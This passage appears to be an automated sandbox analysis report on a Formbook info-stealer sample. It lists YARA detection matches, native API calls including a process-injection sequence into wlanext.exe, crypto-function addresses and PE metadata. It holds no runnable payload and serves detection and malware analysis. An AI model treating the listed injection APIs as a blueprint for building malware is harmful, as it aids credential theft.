Source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Contains functionality to call native functions

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004181C0 NtCreateFile,		1_2_004181C0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00418270 NtReadFile,		1_2_00418270
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004182F0 NtClose,		1_2_004182F0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004183A0 NtAllocateVirtualMemory,		1_2_004183A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004181BA NtCreateFile,		1_2_004181BA
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041826C NtReadFile,		1_2_0041826C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004182EA NtClose,		1_2_004182EA
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A598F0 NtReadVirtualMemory,LdrInitializeThunk,		1_2_00A598F0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59860 NtQuerySystemInformation,LdrInitializeThunk,		1_2_00A59860
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59840 NtDelayExecution,LdrInitializeThunk,		1_2_00A59840
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A599A0 NtCreateSection,LdrInitializeThunk,		1_2_00A599A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59910 NtAdjustPrivilegesToken,LdrInitializeThunk,		1_2_00A59910
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59A20 NtResumeThread,LdrInitializeThunk,		1_2_00A59A20
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59A00 NtProtectVirtualMemory,LdrInitializeThunk,		1_2_00A59A00
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59A50 NtCreateFile,LdrInitializeThunk,		1_2_00A59A50
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A595D0 NtClose,LdrInitializeThunk,		1_2_00A595D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59540 NtReadFile,LdrInitializeThunk,		1_2_00A59540
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A596E0 NtFreeVirtualMemory,LdrInitializeThunk,		1_2_00A596E0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59660 NtAllocateVirtualMemory,LdrInitializeThunk,		1_2_00A59660
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A597A0 NtUnmapViewOfSection,LdrInitializeThunk,		1_2_00A597A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59780 NtMapViewOfSection,LdrInitializeThunk,		1_2_00A59780
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59FE0 NtCreateMutant,LdrInitializeThunk,		1_2_00A59FE0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59710 NtQueryInformationToken,LdrInitializeThunk,		1_2_00A59710
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A598A0 NtWriteVirtualMemory,		1_2_00A598A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59820 NtEnumerateKey,		1_2_00A59820
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A5B040 NtSuspendThread,		1_2_00A5B040
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A599D0 NtCreateProcessEx,		1_2_00A599D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59950 NtQueueApcThread,		1_2_00A59950
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59A80 NtOpenDirectoryObject,		1_2_00A59A80
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59A10 NtQuerySection,		1_2_00A59A10
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A5A3B0 NtGetContextThread,		1_2_00A5A3B0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59B00 NtSetValueKey,		1_2_00A59B00
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A595F0 NtQueryInformationFile,		1_2_00A595F0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59520 NtWaitForSingleObject,		1_2_00A59520
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A5AD30 NtSetContextThread,		1_2_00A5AD30
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59560 NtWriteFile,		1_2_00A59560
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A596D0 NtCreateKey,		1_2_00A596D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59610 NtEnumerateValueKey,		1_2_00A59610
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59670 NtQueryInformationProcess,		1_2_00A59670
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59650 NtQueryValueKey,		1_2_00A59650
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59730 NtQueryVirtualMemory,		1_2_00A59730
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A5A710 NtOpenProcessToken,		1_2_00A5A710
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59760 NtOpenProcess,		1_2_00A59760
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A59770 NtSetInformationFile,		1_2_00A59770
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A5A770 NtOpenThread,		1_2_00A5A770
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004181C0 NtCreateFile,		1_1_004181C0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_00418270 NtReadFile,		1_1_00418270
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004182F0 NtClose,		1_1_004182F0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004183A0 NtAllocateVirtualMemory,		1_1_004183A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004181BA NtCreateFile,		1_1_004181BA
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_0041826C NtReadFile,		1_1_0041826C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004182EA NtClose,		1_1_004182EA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849A50 NtCreateFile,LdrInitializeThunk,		7_2_03849A50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038499A0 NtCreateSection,LdrInitializeThunk,		7_2_038499A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849910 NtAdjustPrivilegesToken,LdrInitializeThunk,		7_2_03849910
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849840 NtDelayExecution,LdrInitializeThunk,		7_2_03849840
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849860 NtQuerySystemInformation,LdrInitializeThunk,		7_2_03849860
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849780 NtMapViewOfSection,LdrInitializeThunk,		7_2_03849780
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849FE0 NtCreateMutant,LdrInitializeThunk,		7_2_03849FE0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849710 NtQueryInformationToken,LdrInitializeThunk,		7_2_03849710
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038496D0 NtCreateKey,LdrInitializeThunk,		7_2_038496D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038496E0 NtFreeVirtualMemory,LdrInitializeThunk,		7_2_038496E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849650 NtQueryValueKey,LdrInitializeThunk,		7_2_03849650
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849660 NtAllocateVirtualMemory,LdrInitializeThunk,		7_2_03849660
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038495D0 NtClose,LdrInitializeThunk,		7_2_038495D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849540 NtReadFile,LdrInitializeThunk,		7_2_03849540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0384A3B0 NtGetContextThread,		7_2_0384A3B0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849B00 NtSetValueKey,		7_2_03849B00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849A80 NtOpenDirectoryObject,		7_2_03849A80
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849A00 NtProtectVirtualMemory,		7_2_03849A00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849A10 NtQuerySection,		7_2_03849A10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849A20 NtResumeThread,		7_2_03849A20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038499D0 NtCreateProcessEx,		7_2_038499D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849950 NtQueueApcThread,		7_2_03849950
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038498A0 NtWriteVirtualMemory,		7_2_038498A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038498F0 NtReadVirtualMemory,		7_2_038498F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849820 NtEnumerateKey,		7_2_03849820
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0384B040 NtSuspendThread,		7_2_0384B040
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038497A0 NtUnmapViewOfSection,		7_2_038497A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0384A710 NtOpenProcessToken,		7_2_0384A710
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849730 NtQueryVirtualMemory,		7_2_03849730
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849760 NtOpenProcess,		7_2_03849760
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0384A770 NtOpenThread,		7_2_0384A770
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849770 NtSetInformationFile,		7_2_03849770
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849610 NtEnumerateValueKey,		7_2_03849610
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849670 NtQueryInformationProcess,		7_2_03849670
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038495F0 NtQueryInformationFile,		7_2_038495F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849520 NtWaitForSingleObject,		7_2_03849520
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0384AD30 NtSetContextThread,		7_2_0384AD30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03849560 NtWriteFile,		7_2_03849560
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010481C0 NtCreateFile,		7_2_010481C0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010483A0 NtAllocateVirtualMemory,		7_2_010483A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01048270 NtReadFile,		7_2_01048270
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010482F0 NtClose,		7_2_010482F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010481BA NtCreateFile,		7_2_010481BA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104826C NtReadFile,		7_2_0104826C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010482EA NtClose,		7_2_010482EA

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Detected potential crypto function

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_00406945		0_2_00406945
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_0040711C		0_2_0040711C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00401030		1_2_00401030
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00408C5B		1_2_00408C5B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00408C60		1_2_00408C60
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041C538		1_2_0041C538
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00402D89		1_2_00402D89
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00402D90		1_2_00402D90
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041C7A0		1_2_0041C7A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00402FB0		1_2_00402FB0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE20A8		1_2_00AE20A8
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2B090		1_2_00A2B090
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE28EC		1_2_00AE28EC
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1002		1_2_00AD1002
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A34120		1_2_00A34120
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1F900		1_2_00A1F900
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE22AE		1_2_00AE22AE
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4EBB0		1_2_00A4EBB0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADDBD2		1_2_00ADDBD2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE2B28		1_2_00AE2B28
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2841F		1_2_00A2841F
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADD466		1_2_00ADD466
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42581		1_2_00A42581
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2D5E0		1_2_00A2D5E0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE25DD		1_2_00AE25DD
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A10D20		1_2_00A10D20
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE2D07		1_2_00AE2D07
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE1D55		1_2_00AE1D55
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE2EF7		1_2_00AE2EF7
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A36E30		1_2_00A36E30
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE1FF1		1_2_00AE1FF1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_00401030		1_1_00401030
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383EBB0		7_2_0383EBB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CDBD2		7_2_038CDBD2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D2B28		7_2_038D2B28
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D22AE		7_2_038D22AE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380F900		7_2_0380F900
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03824120		7_2_03824120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381B090		7_2_0381B090
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D20A8		7_2_038D20A8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D28EC		7_2_038D28EC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038C1002		7_2_038C1002
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038DE824		7_2_038DE824
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D1FF1		7_2_038D1FF1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D2EF7		7_2_038D2EF7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CD616		7_2_038CD616
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03826E30		7_2_03826E30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832581		7_2_03832581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D25DD		7_2_038D25DD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381D5E0		7_2_0381D5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D2D07		7_2_038D2D07
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03800D20		7_2_03800D20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D1D55		7_2_038D1D55
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381841F		7_2_0381841F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CD466		7_2_038CD466
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104C538		7_2_0104C538
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01032D89		7_2_01032D89
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01032D90		7_2_01032D90
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01038C5B		7_2_01038C5B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01038C60		7_2_01038C60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104C7A0		7_2_0104C7A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01032FB0		7_2_01032FB0

Found potential string decryption / allocating functions

Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 0380B150 appears 35 times
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: String function: 00A1B150 appears 35 times
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: String function: 0041A0A0 appears 38 times

PE file contains strange resources

Source: 1cec9342_by_Libranalysis.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: 1cec9342_by_Libranalysis.exe, 00000000.00000003.645430584.000000001EEAF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 1cec9342_by_Libranalysis.exe
Source: 1cec9342_by_Libranalysis.exe, 00000001.00000002.693898854.0000000000C9F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 1cec9342_by_Libranalysis.exe
Source: 1cec9342_by_Libranalysis.exe, 00000001.00000002.693999734.0000000000D72000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamewlanext.exej% vs 1cec9342_by_Libranalysis.exe

Uses 32bit PE files

Source: 1cec9342_by_Libranalysis.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Yara signature match

Source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
